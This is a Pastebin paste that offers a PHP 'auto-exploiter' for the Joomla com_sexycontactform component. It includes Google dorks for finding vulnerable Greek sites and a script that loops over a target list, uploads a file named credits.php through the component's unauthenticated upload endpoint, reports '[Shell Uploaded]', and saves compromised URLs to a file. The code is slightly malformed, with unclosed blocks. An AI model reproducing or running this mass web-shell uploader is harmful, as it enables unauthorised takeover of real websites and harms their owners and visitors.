Advertisement
kkDav1337

Joomla com_sexycontactform auto-exploiter

Dec 3rd, 2017
5,152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.17 KB | None | 0 0
  1. Title: Joomla com_sexycontactform auto-exploiter
  2.  
  3. Google Dork: "/components/com_sexycontactform/" site:gr
  4. Google Dork: "Powered by sexycontact" site:gr
  5. Google Dork: inurl:"sexy-contact-form" site:gr
  6.  
  7. Source code:
  8. <?php
  9. function banner(){
  10. echo "========= SexyContactForm Auto Exploiter ==============\n\n";
  11. echo "Coded By  : KkK1337\n\n";
  12. echo "========== Done =============\n\n";
  13. }
  14. banner();
  15. $url=file($argv[1]);
  16. foreach ($url as $sites){
  17. $sites=trim($sites);
  18. $pro="credits.php";
  19. $upload="$sites/components/com_sexycontactform/fileupload/files/$pro";
  20. $ch = curl_init ();
  21.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  22.     curl_setopt ($ch, CURLOPT_POST, 1);
  23.         curl_setopt ($ch, CURLOPT_URL, "$sites/components/com_sexycontactform/fileupload/index.php");
  24.         @curl_setopt ($ch, CURLOPT_POSTFIELDS, array ("files[]" => "@".$pro));
  25. curl_exec($ch);
  26.         if (preg_match ("/credits.php/i", @file_get_contents("$sites/components/com_sexycontactform/fileupload/index.php")))
  27.         {
  28.             echo "[Shell Uploaded] => $sites\n";
  29.             $ux = "".$upload."\r\n"; $save=fopen('done.txt','ab'); fwrite($save,"$ux");
  30. else{
  31. echo "[ERROR] => $sites\n";
  32. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement